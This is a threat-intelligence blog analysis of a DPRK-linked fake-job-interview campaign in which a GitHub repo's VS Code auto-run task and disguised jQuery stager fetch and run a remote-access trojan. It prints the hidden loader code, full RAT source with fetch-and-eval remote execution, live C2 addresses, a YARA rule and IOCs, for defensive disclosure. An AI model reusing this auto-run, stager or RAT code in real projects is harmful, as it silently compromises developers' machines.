Skip to main content
Back to Blog
Threat Intelligence30 min readMarch 16, 2026
Reverse EngineeringInfrastructure TrackingDPRKContagious Interview

Contagious Interview: VS Code to RAT

A DPRK-affiliated social engineering campaign weaponises VS Code trusted features to deliver RATs through fake job interviews, with full attack chain analysis, malware breakdown, infrastructure tracking, and IOCs.

François-Julien Alcaraz & Yashraj Solanki

Contributors: Artur Ampilogov, Erwan Le Blavec, Nick Smart

Introduction

In January 2026, security researcher François-Julien Alcaraz was targeted once again by a recruitment attempt that turned out to be part of a sophisticated social engineering campaign targeting developers through fake job interviews. What begins as a seemingly legitimate LinkedIn recruitment message quickly escalates into a multi-stage attack that weaponises VS Code's trusted features to deliver remote access trojans (RATs).

The attack chain is deceptively simple: a recruiter reaches out on LinkedIn, conversations move to Google Meets, and the victim is asked to review a "coding challenge" hosted on GitHub. Upon opening the repository in Visual Studio (VS) Code, hidden configuration files automatically execute malicious code - no user interaction required beyond opening the folder.

Initial recruiter contact and fake role listing used as the lure

Figure 1. Initial recruiter contact and fake role listing used as the lure.

This campaign, linked to DPRK-affiliated threat actors, represents a dangerous evolution in supply chain attacks. Rather than exploiting software vulnerabilities, attackers abuse legitimate development tools that developers trust implicitly. The malware establishes persistent command-and-control communication, exfiltrates system information, and provides remote code execution capabilities—all whilst remaining completely hidden from the victim.

This analysis breaks down the complete attack chain, from initial contact to payload execution, and provides actionable indicators of compromise for detection and prevention.

The Interview

After the attacker reached out on LinkedIn and initial conversations began, the job interview moved over to a Google Meets interview, scheduled by email [email protected]. The recruiter scheduled a job interview, and it was there the attacker was insistent on the interviewer downloading and executing the repository.

Interview recording excerpt highlighting pressure to run the repository locally

Figure 2. Interview recording excerpt highlighting pressure to run the repository locally.

This pressure to run code from an unfamiliar source during what appeared to be a legitimate technical interview was the delivery mechanism for the malware payload.

This part describes the recruiter switcheroo tactic used in the social engineering attack:

  • Initial Contact: Two LinkedIn profiles (Dominique Sthran and Ricardo Pereira) reached out to the target
  • The Switch: When the actual Google Meets interview happened, neither of these people showed up. Instead, a completely different person named "Khalid Akosuke" joined the call

This is a classic social engineering technique that:

  • Creates confusion and makes it harder to verify identities
  • Adds legitimacy by having multiple "employees" from the fake company
  • Makes attribution more difficult if the victim later tries to report the incident
  • Builds trust through what appears to be a multi-person recruitment process

The attacker (Khalid) briefly showed their face on camera to establish trust, then turned it off for the rest of the 30-minute technical interview where they pressured the victim to download and run the malicious repository.

The technical challenge was a repository related to a Japanese soccer e-commerce platform which was from https[:]//github[.]com/ArsagaPPro/Jp-Soccer2.git. The interviewer was constantly pressuring the interviewee to locally download the repository and execute the code to run the supposed application.

Malicious GitHub repository presented as a technical challenge

Figure 3. Malicious GitHub repository presented as a technical challenge.

Nothing about this appeared safe, especially when running local webservers on your host are involved in the interview process:

Example of an unsafe interview workflow requiring local server execution on the host

Figure 4. Example of an unsafe interview workflow requiring local server execution on the host.

After around thirty minutes of discussion the interviewer provided a follow-on meeting to go through the repository again, likely to try to attempt to get the interviewee to execute the code rather than look at it.

Attack Killchain

The following is a high-level overview of this attack end-to-end:

High-level end-to-end attack flow overview (kill chain)

Figure 5. High-level end-to-end attack flow overview (kill chain).

StepTitleDescriptionDetailMITREKey Code
01LinkedIn OutreachFake recruiters (Dominique Sthran, Ricardo Pereira) contact the target developer with a job opportunityDPRK-affiliated actors use fabricated LinkedIn profiles to initiate recruitment conversations with developersT1566.003
02Google Meet Interview SetupConversation moves to a video interview scheduled via [email protected]. A different person, "Khalid Akosuke," joins the callMoving to a video interview establishes trust and creates social pressure to comply with instructionsT1566.003
03Fake Technical InterviewThe interviewer pressures the victim to clone and run a GitHub repo (ArsagaPPro/Jp-Soccer2) locally as a coding challengeThe interviewer applies social pressure to get the target to download and execute the malicious repo locallyT1204.002
04VS Code Auto-Task FiresOpening the repo triggers .vscode/tasks.json, which silently runs npm start in the background with no visible terminalrunOn: "folderOpen" + reveal: "never" + echo: false = zero user interaction requiredT1059.007"runOn": "folderOpen" "reveal": "never"
05next.config.js Loads TrojanThe Next.js config uses eval() to execute /scripts/jquery.min.js, a fake jQuery file containing the stager payloadThe config file disguises malicious code execution as a normal Node.js require/readFile operationT1059.007eval(code) on fake jQuery
06Stager Fetches from VercelThe fake jQuery decodes a Base64 URL and fetches the next-stage payload from api-web3-auth.vercel.app/api/authUsing Vercel for staging infrastructure provides legitimacy and avoids IP-based blockingT1105atob() → fetch() → eval()
07RAT Beacon EstablishedMalware beacons to C2 servers on port 3000 every 5 seconds, exfiltrating hostname, MAC addresses, and OS infoUses /api/errorMessage endpoint for taskingT1071.001axios.get("http://[C2]:3000/api/errorMessage")
08Remote Code ExecutionC2 sends arbitrary JavaScript via the error response field; new Function('require', code)(require) gives full system accessFull system compromise — the attacker can run any code with Node.js require() accessT1059.007new Function('require', msg)(require)

Repository Breakdown

Account requested was: https[:]//github[.]com/ArsagaPPro/Jp-Soccer2.git

In there was a /.vscode/tasks.json file:

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "run-nextjs-start",
      "type": "shell",
      "command": "npm start --silent --no-progress",
      "options": {
        "cwd": "${workspaceFolder}"
      },
      "windows": {
        "options": {
          "shell": {
            "executable": "cmd.exe",
            "args": ["/c"]
          }
        }
      },
      "linux": {
        "options": {
          "shell": {
            "executable": "/bin/zsh",
            "args": ["-c"]
          }
        }
      },
      "osx": {
        "options": {
          "shell": {
            "executable": "/bin/zsh",
            "args": ["-c"]
          }
        }
      },
      "runOptions": {
        "runOn": "folderOpen"
      },
      "isBackground": true,
      "presentation": {
        "reveal": "never",
        "echo": false,
        "focus": false,
        "panel": "dedicated",
        "showReuseMessage": false,
        "clear": true
      },
      "problemMatcher": []
    }
  ]
}

This is a VS Code tasks configuration file (tasks.json) that automatically starts a Next.js development server when you open the project folder.

Main Purpose: Runs npm start --silent --no-progress automatically when the folder opens in VS Code.

At the time of writing, the repository contained the following next.config.js file:

/** @type {import('next').NextConfig} */

const jmpparser = require('fs');

const nextConfig = {
  images: {
    remotePatterns: [
      {
        protocol: 'https',
        hostname: 'images.unsplash.com',
        port: '',
        pathname: '/**',
      },
      {
        protocol: 'https',
        hostname: 'res.cloudinary.com',
        port: '',
        pathname: '/**',
      },
      {
        protocol: 'https',
        hostname: 'photo.yupoo.com',
        port: '',
        pathname: '/**',
      },
      {
        protocol: 'http',
        hostname: 'localhost',
        port: '3000',
        pathname: '/api/proxy-image/**',
      },
      {
        protocol: 'https',
        hostname: '*',
        port: '',
        pathname: '/api/proxy-image/**',
      },
    ],
    dangerouslyAllowSVG: true,
    // Ensure images render in-browser (not downloaded)
    contentDispositionType: 'inline',
    contentSecurityPolicy: "default-src 'self'; script-src 'none'; sandbox;",
  },
  async headers() {
    return [
      {
        source: '/:path*',
        headers: [
          {
            key: 'Referer',
            value: 'https://jersey-factory.x.yupoo.com/',
          },
          {
            key: 'User-Agent',
            value: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
          },
        ],
      },
    ];
  },
};

module.exports = nextConfig;
jmpparser.readFile(__dirname  + '/scripts/jquery.min.js', 'utf8', (err, code) => { eval(code); console.log(err) });

You can see at the bottom of this is a reference to the /scripts/jquery.min.js file:

// Connect and get reference to mongodb instance

const AUTH_API_KEY = "aHR0cDovL2FwaS13ZWIzLWF1dGgudmVyY2VsLmFwcC9hcGkvYXV0aA==";

// Error handling - close server

(async () => {
  const src = atob(AUTH_API_KEY);
  const proxy = (await import('node-fetch')).default;
  try {
    const response = await proxy(src);
    if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
    const proxyInfo = await response.text();
    eval(proxyInfo);
  } catch (err) {
    console.error('Auth Error!', err);
  }
})();

The base64 encoded api is actually a URL C2 stager:

http[:]//api-web3-auth[.]vercel[.]app/api/auth

The 3-Step Attack Chain

Step 1: You Open Folder in VS Code

// .vscode/tasks.json
"runOn": "folderOpen"  // ← Triggers when VS Code opens the folder
"reveal": "never"      // ← Runs npm start completely hidden

Step 2: Next.js Config Executes Fake jQuery

// next.config.js (last line)
const jmpparser = require('fs');
jmpparser.readFile('/scripts/jquery.min.js', 'utf8', (err, code) => {
  eval(code);  // ← Executes the fake jQuery file
});

Step 3: Fake jQuery Fetches & Runs Attacker's Code

// /scripts/jquery.min.js
const url = atob("aHR0cDovL2FwaS13ZWIzLWF1dGgudmVyY2VsLmFwcC9hcGkvYXV0aA==");
// ↓ Decodes to:
// "http://api-web3-auth.vercel.app/api/auth"

const response = await fetch(url);           // Makes HTTP request to attacker's server
const remoteCode = await response.text();    // Gets JavaScript code from response
eval(remoteCode);                            // Executes whatever the attacker sent

Bottom line: Open folder in VS Code → hidden npm start → eval() fake jQuery → fetch attacker's server → eval() remote code → you're owned

This prompts the user upon opening it to trust the author in VSCode:

VS Code 'Trust the authors' prompt shown when opening the malicious repository

Figure 6. VS Code "Trust the authors" prompt shown when opening the malicious repository.

VS Code Features Being Abused:

1. Auto-Run Tasks ("runOn": "folderOpen")

"runOptions": {
  "runOn": "folderOpen"  // ← Legitimate feature for auto-starting dev servers
}

Intended use: Auto-start your dev server when opening a project

Abused for: Running malicious code without user interaction

2. Hidden Task Execution

"presentation": {
  "reveal": "never",    // ← Hide the terminal
  "echo": false,        // ← Don't show commands
  "focus": false        // ← Don't grab focus
}

Intended use: Keep your workspace clean, run background tasks quietly

Abused for: Execute malware completely invisibly

3. Shell Command Execution

"type": "shell",
"command": "npm start --silent --no-progress"

Intended use: Run build tools, dev servers, scripts

Abused for: Launch Node.js process that loads malicious config


Node.js/Next.js Features Being Abused:

4. Config Files Execute as Code

Next.js next.config.js runs as JavaScript, not just parsed as JSON

Intended use: Dynamic configuration

Abused for: Execute eval() on file contents

5. eval() Function

Intended use: Rarely legitimate (almost always a code smell)

Abused for: Run arbitrary code from files and remote servers


All legitimate features. Zero exploits. Just weaponized trust.

Malware Analysis:

Accessing this C2 then gives us:

const axios = require("axios");
const os = require("os");

let instanceId = 0
function errorFunction(message) {
  try {
    const handleError = new Function('require', message)
    return handleError(require)
  } catch (error) {
  }
}

function getSystemInfo() {
  const hostname = os.hostname();
  const macs = Object.values(os.networkInterfaces())
    .flat()
    .filter(Boolean)
    .map(n => n.mac)
    .filter(mac => mac && mac !== "00:00:00:00:00:00");
  const osName = os.type();
  const osRelease = os.release();
  const platform = os.platform();
  return {
    hostname,
    macs,
    os: `${osName} ${osRelease} (${platform})`
  };
}

async function checkServer() {
  try {
    const sysInfo = getSystemInfo()
    const res = await axios.get("http://66.235.168.136:3000/api/errorMessage",
      {
        params : {
          sysInfo,
          exceptionId: 'env101383',
          instanceId
        }
      }
    );
    if (res.data.status === "error") {
      errorFunction(res.data.message || "Unknown error");
    } else {
      if (res.data.instanceId) {
        instanceId = res.data.instanceId
      }
    }

  } catch (err) {
  }
}

try {
  checkServer();
  setInterval(checkServer, 5000);
} catch (error) {

}

The HandleError function within the article allows the RAT to basically execute on any code. How this works however is interesting:

1. REMOTE CODE EXECUTION (RCE)

function errorFunction(message) {
  try {
    const handleError = new Function('require', message)
    return handleError(require)
  } catch (error) { }
}

What it does: Executes arbitrary JavaScript code sent from C2 server

Risk: CRITICAL - Full system compromise capability

Triggered by: When C2 responds with status: "error" and code in message field


2. SYSTEM FINGERPRINTING

function getSystemInfo() {
  const hostname = os.hostname();
  const macs = Object.values(os.networkInterfaces())
    .flat()
    .filter(Boolean)
    .map(n => n.mac)
    .filter(mac => mac && mac !== "00:00:00:00:00:00");
  const osName = os.type();
  const osRelease = os.release();
  const platform = os.platform();
  return { hostname, macs, os: `${osName} ${osRelease} (${platform})` };
}

Collects:

  • Computer hostname
  • All MAC addresses (unique hardware IDs)
  • OS type, version, platform

Purpose: Victim identification and tracking


3. C2 BEACONING

const res = await axios.get("http://66[.]235[.]168[.]136:3000/api/errorMessage", {
  params: {
    sysInfo,              // System info from above
    exceptionId: 'env101383',  // Campaign ID
    instanceId            // Session tracker
  }
});

Behaviour:

  • Calls C2 immediately on startup
  • Repeats every 5 seconds
  • Sends all system info with each beacon

4. TASK EXECUTION

if (res.data.status === "error") {
  errorFunction(res.data.message || "Unknown error");  // Execute code
} else {
  if (res.data.instanceId) {
    instanceId = res.data.instanceId  // Update session ID
  }
}

C2 Commands:

  • status: "error" → Execute code in message field (RCE)
  • status: "ok" + instanceId → Update session tracker
  • status: "ok" (no ID) → Heartbeat only

Repository Leftovers

In the same GitHub repository the following URLs were also found from previous commits and pull requests where the same repository was clearly used for other RAT Stager infrastructure:

  • https://web3-metric-analytics.vercel.app/api/getMoralisData
  • https://metric-analytics-refresh.vercel.app/api/getMoralisData
  • https://sync-oracle-v3.vercel.app/api/getMoralisData

One of these, provided by researcher Artur Ampilogov, is obfuscated and available for analysis in our LOCK STAR GitHub repository.

Deobfuscated it is effectively the following:

// FULLY DEOBFUSCATED CODE - CTF Challenge
// WARNING: This is malicious code - for analysis purposes only
// C2 Server: http://87.236.177.9:3000/api/errorMessage

const axios = require('axios');
const os = require('os');

let instanceId = 0;

// Function that executes arbitrary code passed as a string
function errorFunction(code) {
    try {
        // Creates a new function with 'require' in scope and executes the code
        return new Function('require', code)(require);
    } catch (error) {
        // Silently fails
    }
}

// Collects system information for exfiltration
function getSystemInfo() {
    return {
        'hostname': os.hostname(),
        'macs': Object.values(os.networkInterfaces())
            .flat()
            .filter(Boolean)
            .map(iface => iface.mac)
            .filter(mac => mac && '00:00:00:00:00:00' !== mac),
        'os': os.type() + ' ' + os.release() + ' (' + os.platform() + ')'
    };
}

// Main malicious function - communicates with C2 server
async function checkServer() {
    // Anti-debugging wrapper function
    const antiDebugWrapper = (function() {
        let firstCall = true;
        return function(context, fn) {
            const action = firstCall ? function() {
                if (fn) {
                    const result = fn.apply(context, arguments);
                    fn = null;
                    return result;
                }
            } : function() {};
            firstCall = false;
            return action;
        };
    })();

    // Console hijacking for stealth
    const hijackConsole = antiDebugWrapper(this, function() {
        const getGlobalObject = function() {
            let globalObj;
            try {
                // Tries to get global object via Function constructor
                globalObj = Function('return (function() ' + '{}.constructor("return this")( )' + ');')();
            } catch (e) {
                globalObj = window;
            }
            return globalObj;
        };

        const global = getGlobalObject();
        const console = global.console = global.console || {};
        const consoleMethods = ['log', 'warn', 'info', 'error', 'exception', 'table', 'trace'];

        // Overwrites all console methods to hide activity
        for (let i = 0; i < consoleMethods.length; i++) {
            const bound = antiDebugWrapper.constructor.prototype.bind(antiDebugWrapper);
            const methodName = consoleMethods[i];
            const originalMethod = console[methodName] || bound;
            bound.__proto__ = antiDebugWrapper.bind(antiDebugWrapper);
            bound.toString = originalMethod.toString.bind(originalMethod);
            console[methodName] = bound;
        }
    });

    hijackConsole();

    try {
        const systemInfo = getSystemInfo();

        // Makes GET request to C2 server at 87.236.177.9:3000
        const response = await axios.get(
            'http://87.236.177.9:3000/api/errorMessage',
            {
                'params': {
                    'sysInfo': systemInfo,
                    'exceptionId': '00:00:00:00:00:00',  // Likely a unique identifier
                    'instanceId': instanceId
                }
            }
        );

        // If server responds with 'error' status, executes arbitrary code from server
        if ('error' === response.data.status) {
            errorFunction(response.data.message || 'Unknown error');
        } else if (response.data.instanceId) {
            // Updates instance ID from server for tracking
            instanceId = response.data.instanceId;
        }
    } catch (error) {
        // Silently fails - no error reporting
    }
}

// Execution starts immediately and repeats every 5 seconds
try {
    checkServer();
    setInterval(checkServer, 5000);  // 0x1388 = 5000 milliseconds
} catch (error) {
    // Silently fails
}

1. REMOTE CODE EXECUTION (RCE)

function errorFunction(code) {
  try {
    return new Function('require', code)(require);
  } catch (error) { }
}

What it does: Executes arbitrary JavaScript code from C2 server

Risk: CRITICAL - Full system compromise

Triggered by: When C2 responds with status: "error"


2. SYSTEM FINGERPRINTING

function getSystemInfo() {
  return {
    'hostname': os.hostname(),
    'macs': Object.values(os.networkInterfaces())
      .flat()
      .filter(Boolean)
      .map(iface => iface.mac)
      .filter(mac => mac && '00:00:00:00:00:00' !== mac),
    'os': os.type() + ' ' + os.release() + ' (' + os.platform() + ')'
  };
}

Collects:

  • Hostname
  • All MAC addresses (excluding null MACs)
  • OS type, version, platform

3. ANTI-DEBUGGING & STEALTH

// Anti-debugging wrapper
const antiDebugWrapper = (function() {
  let firstCall = true;
  return function(context, fn) {
    const action = firstCall ? function() {
      if (fn) {
        const result = fn.apply(context, arguments);
        fn = null;
        return result;
      }
    } : function() {};
    firstCall = false;
    return action;
  };
})();

// Console hijacking
const hijackConsole = antiDebugWrapper(this, function() {
  // ... overwrites console.log, warn, info, error, exception, table, trace
});

What it does:

  • Hijacks all console methods (log, warn, info, error, exception, table, trace)
  • Prevents debugging output from appearing
  • Anti-debugging wrapper pattern

Purpose: Hide malicious activity from developers/analysts


4. C2 BEACONING

const response = await axios.get(
  'http://87.236.177.9:3000/api/errorMessage',
  {
    'params': {
      'sysInfo': systemInfo,
      'exceptionId': '00:00:00:00:00:00',
      'instanceId': instanceId
    }
  }
);

Behaviour:

  • Calls C2 immediately on startup
  • Repeats every 5 seconds
  • Sends system info + session tracking

5. TASK EXECUTION

if ('error' === response.data.status) {
  errorFunction(response.data.message || 'Unknown error');
} else if (response.data.instanceId) {
  instanceId = response.data.instanceId;
}

Commands:

  • status: "error" → Execute code in message field
  • Has instanceId → Update session tracker
  • Otherwise → Heartbeat only

Execution is also run immediately and every 5 seconds (0x1388 = 5000ms):

Infrastructure Analysis

Both C2 IP addresses 66.235.168[.]136 and 87.236.177[.]9 mentioned in the above C2 beacons section share a number of similar characteristics which enabled analytical pivoting opportunities to uncover additional C2 infrastructure that is likely under the control of the same cluster of operators. The C2 IP addresses were active at least since mid September of last year and were first observed with the C2 configuration since 23rd January 2026.

Common C2 Characteristics:

  • C2 Port: 3000
  • URL Structure: :3000/api/errorMessage
  • Web technologies: Node JS and Express framework
  • Almost perfect overlap in HTTP headers and HTML properties
  • Last Modified date in HTTP header: Last-Modified: Mon, 13 Oct 2025 06:03:09 GMT
  • Entity Tag (ETag): W/"0-199dc2a634d"

From the above characteristics, the URL structure and ETag were explored further to build potential infrastructure fingerprints for tracking.

URL Structure

Based on the URL structure associated with the initially discovered C2 IP addresses, seven distinct C2 URLs were identified spanning between the two C2 IP addresses with HTTP 200 OK successful response status code.

C2 URL structure pivoting results based on /api/errorMessage endpoint behavior

Figure 7. C2 URL structure pivoting results based on /api/errorMessage endpoint behavior.

Entity Tag (ETag)

Based on the identified ETag W/"0-199dc2a634d", five unique IP addresses (inclusive of the two initially discovered C2s) were discovered in fairly close proximity to one another (within 10 days) and hosted on ASNs Tier.Net Technologies LLC, Interserver, Inc and EUROHOSTER Ltd. All IP addresses were hosted on the same port 3000 and had the same Last Modified Date in their HTTP headers.

Additional infrastructure discovered via ETag and Last-Modified fingerprinting

Figure 8. Additional infrastructure discovered via ETag and Last-Modified fingerprinting.

IP AddressASNPortFirst Seen (With C2 Config)
66.235.168[.]136397423300024-01-2026
87.236.177[.]9207728300023-01-2026
174.138.188[.]8019318300007-02-2026
163.245.194[.]21619318300007-02-2026
147.124.202[.]208397423300008-02-2026
104.192.42[.]117207728300003-03-2026
185.163.125[.]19651269300009-03-2026

Key Indicator Overlap with open-source reporting

IP address 87.236.177[.]9 was mentioned in a blog by Red Asgard and attributed to BeaverTail malware on port 3000 and URL containing /api/errorMessage. The IP address was also referenced in a separate blog by Jamf Threat Labs that also attributes the overall activity to DPRK and shares insights into the observed tradecraft.

Additionally, the blog stats IP ranges 147.124.x.x and 66.235.x.x as secondary servers that appear to be victim facing. These ranges also intersect with IP addresses 66.235.168[.]136 and 147.124.202[.]208 from our discovery which are hosted on the same ASN.

Source Link: https://redasgard.com/blog/hunting-lazarus-part4-real-blood-on-the-wire

Source Link: https://www.jamf.com/blog/threat-actors-expand-abuse-of-visual-studio-code/

Infrastructure Wrap up

Infrastructure analysis wrap-up (timeline/summary of identified C2 hosts)

Figure 9. Infrastructure analysis wrap-up (timeline/summary of identified C2 hosts).

It is likely that the infrastructure identified above is either part of an active campaign or pre-operational infrastructure to be used in the future iterations of the campaign. Microsoft has also been tracking this campaign (Microsoft Security Blog, 24 Feb 2026), which further supports the assessment that the cluster remains active. This assessment is based on the proximity and active status of the identified C2 servers and low/zero detections by other security vendors.

Upon querying the live servers via the /api/errorMessage endpoint with spoofed MacOS sysInfo, the C2s returned:

{"status":"ok","message":"server connected"}

This response represents the C2 in standby mode — the server has registered the beacon but the operator has not yet pushed a payload. Based on the malware's task execution logic:

if (res.data.status === "error") {
  errorFunction(res.data.message || "Unknown error");
} else {
  if (res.data.instanceId) {
    instanceId = res.data.instanceId
  }
}

A status: "ok" response without an instanceId is simply a heartbeat acknowledgement. The second stage payload is only delivered when the operator manually sets status: "error" and populates the message field with arbitrary JavaScript — indicating that payload delivery is manual and operator-controlled rather than automated.

This is consistent with DPRK tradecraft where operators actively monitor incoming beacons and selectively push payloads to high-value targets, rather than indiscriminately deploying to all victims. The exceptionId campaign identifier likely helps operators track and filter which victims are worth targeting.

Conclusion

The Contagious Interview campaign represents a sophisticated evolution in social engineering attacks, weaponising the trust developers place in their development environments. By exploiting legitimate features in VS Code and Next.js rather than relying on software vulnerabilities, threat actors have created an attack chain that bypasses traditional security controls and operates entirely within expected developer workflows.

The multi-stage infection process—from LinkedIn outreach to LinkedIn communication, followed by a malicious GitHub repository—demonstrates a calculated approach designed to exploit the natural curiosity and collaborative spirit of the developer community. The attack's effectiveness lies not in technical complexity, but in its abuse of trusted tools: VS Code's automatic task execution, Next.js configuration files, and Node.js's dynamic code evaluation capabilities.

Once deployed, the malware establishes persistent C2 communication, exfiltrating system information including hostnames, MAC addresses, and OS details every five seconds. The remote code execution capability via the errorFunction() method provides attackers with a powerful foothold, allowing arbitrary command execution on compromised systems. The anti-debugging techniques and console hijacking further demonstrate the threat actors' sophistication in maintaining operational security.

Organisations and individual developers must recognise that opening an untrusted repository in VS Code can be as dangerous as executing an unknown binary. The campaign's reliance on Vercel-hosted infrastructure for staging and the use of obfuscation techniques indicate a well-resourced operation likely tied to DPRK-affiliated threat actors, consistent with previous Contagious Interview campaigns.

Key Takeaways:

  • Never clone and open untrusted repositories in VS Code without first inspecting .vscode/tasks.json and configuration files
  • Disable automatic task execution in VS Code settings (task.allowAutomaticTasks: false)
  • Scrutinise job offers that require you to download and run code, especially those that move from professional platforms to private messaging apps
  • Monitor network connections from development environments for unexpected C2 communication
  • Review repository commit history before trusting code—attackers often reuse infrastructure across campaigns

The IOCs provided in this analysis should be immediately incorporated into security monitoring systems. As development environments continue to be targeted, the security community must adapt defences to protect not just production systems, but the tools developers use to build them.

Stay vigilant. The next job offer might be a trap.

YARA

rule Actor_APT_DPRK_MAL_SCRIPT_JS_Dropper_Unknown_Strings_Mar26
{
    meta:
        rule_id = "713af537-771f-44ee-b65c-1647d5ec9a84"
        date = "13-03-2026"
        author = "Ransom-ISAC"
        description = "Detects JavaScript used by DPRK operators to fetch the next stage payloads"
        filehash1 = "165324541c8f2d0a4bdac12fcf7ccc1738caf7e36bb11721186e0c560c4a8a69"
        filehash2 = "e1790a08ebf0402d49e826b6f773b3b6e55f3cb5a755bc2067dda2a0c2737503"

    strings:
        $js1 = "const" ascii
        $js2 = "async function" ascii

        $str1 = "hostname" ascii
        $str2 = "macs" ascii
        $str3 = "networkInterfaces" ascii
        $str4 = "filter" ascii
        $str5 = "instanceId" ascii
        $str6 = "errorMessage" ascii
        $str7 = "setInterval" ascii
        $str8 = "axios" ascii

        $hex1 = {65 78 63 65 70 74 69 6f 6e 49 64 3a 22 65 6e 76 ?? ?? ?? ?? ?? ?? 22}
        $hex2 = {27 73 74 61 74 75 73 27 2c 27 65 6e 76 ?? ?? ?? ?? ?? ?? 27}

        $uri = ":3000/api/errorMessage" ascii

        $mac = "00:00:00:00:00:00" ascii

    condition:
        all of ($js*)
        and 5 of ($str*)
        and (any of ($hex*) or $uri)
        and $mac
        and filesize < 25KB

}

Indicators of Compromise (IoCs)

IOC TypeValuePortNotes
Base64 StringaHR0cDovL2FwaS13ZWIzLWF1dGgudmVyY2VsLmFwcC9hcGkvYXV0aA==-Decodes to stager URL
Campaign IDenv101383-Campaign identifier from deobfuscated sample
Campaign IDenv19475-Campaign identifier from obfuscated code
Campaign IDmda6mda6mda6mda6mda6mda-Obfuscated campaign identifier
Domainapi-web3-auth[.]vercel[.]app443Stager infrastructure
Domainjersey-factory.x[.]yupoo[.]com443Related infrastructure
Domainmetric-analytics-refresh.vercel[.]app443Stager infrastructure
Domainsync-oracle-v3[.]vercel[.]app443Stager infrastructure
Domainweb3-metric-analytics.vercel[.]app443Stager infrastructure
File Path/scripts/jquery.min.js-Trojanized file in repository
File Pathnext.config.js-Weaponized configuration file
File SHA256.vscode/tasks.json — 8bae383ed46c28477b602b75d55c3e13469f5a2944f30203c20d0097b10e6bc2-SHA256 for VS Code task autorun config
File SHA256next.config.js — d33d0c358a75bfb73cbf901868c5ebfb6eccc8baaed073395c63a0b9caa73dd7-SHA256 for Next.js config that loads the stager
File SHA256scripts/jquery.min.js — 57be9d3be7da3e8dff28b8d32de4427d4a31b8df2bebd972a1bd2270b5dadd83-SHA256 for trojanized fake jQuery stager
File SHA256Secondary leftover payload — 1e498ea74be7447fb13c53670084532294f4bbe0f4fd3748da1a3900a5a63cf0-Secondary leftover payload
File SHA256env-setup.js — e1790a08ebf0402d49e826b6f773b3b6e55f3cb5a755bc2067dda2a0c2737503-Obfuscated JavaScript Dropper
File SHA256env.npl — 165324541c8f2d0a4bdac12fcf7ccc1738caf7e36bb11721186e0c560c4a8a69-Deobfuscated JavaScript Dropper
GitHub RepoArsaPro001/jp-soc07-String match of IOC jersey-factory.x[.]yupoo[.]com
GitHub RepoDarnellLex/jp-soccer-v1-String match of IOC jersey-factory.x[.]yupoo[.]com
GitHub Repoymanatos1/jp-soc-String match of IOC jersey-factory.x[.]yupoo[.]com
GitHub Repohttps://github.com/ArsagaPPro/Jp-Soccer2.git-Malicious repository
IPv466[.]235.168.1363000C2 server (first seen 24-01-2026)
IPv487[.]236.177.93000C2 server (first seen 23-01-2026)
IPv4174[.]138.188.803000C2 server (first seen 07-02-2026)
IPv4163[.]245.194.2163000C2 server (first seen 07-02-2026)
IPv4147[.]124.202.2083000C2 server (first seen 08-02-2026)
IPv4104.192.42[.]1173000C2 server (first seen 03-03-2026)
IPv4185[.]163.125.1963000C2 server (first seen 09-03-2026)
MAC Address00:00:00:00:00:00-Excluded MAC (filtering mechanism)
URLhttp://66.235.168.136:3000/api/errorMessage3000C2 endpoint
URLhttp://87.236.177.9:3000/api/errorMessage3000C2 endpoint
URLhttp://163.245.194.216:3000/api/errorMessage3000C2 endpoint (observed HTTP 200 OK)
URLhttp://174.138.188.80:3000/api/errorMessage3000C2 endpoint (observed HTTP 200 OK)
URLhttp://185.163.125.196:3000/api/errorMessage3000C2 endpoint (observed HTTP 200 OK)
URLhttp://88.99.212.230:3000/api/errorMessage3000C2 endpoint (observed HTTP 200 OK)
URLhttp://147.124.202.208:3000/api/errorMessage3000C2 endpoint (observed HTTP 200 OK)
URLhttp://api-web3-auth.vercel[.]app/api/auth443Stager endpoint
URLhttps://jersey-factory.x[.]yupoo.com/443Related site
URLhttps://metric-analytics-refresh.vercel[.]app/api/getMoralisData443Stager endpoint
URLhttps://sync-oracle-v3.vercel[.]app/api/getMoralisData443Stager endpoint
URLhttps://web3-metric-analytics.vercel[.]app/api/getMoralisData443Stager endpoint
User-AgentMozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36-Used in requests

Found this article helpful?

Share it with your network

Continue Reading

Explore more expert insights and threat intelligence from the Ransom-ISAC community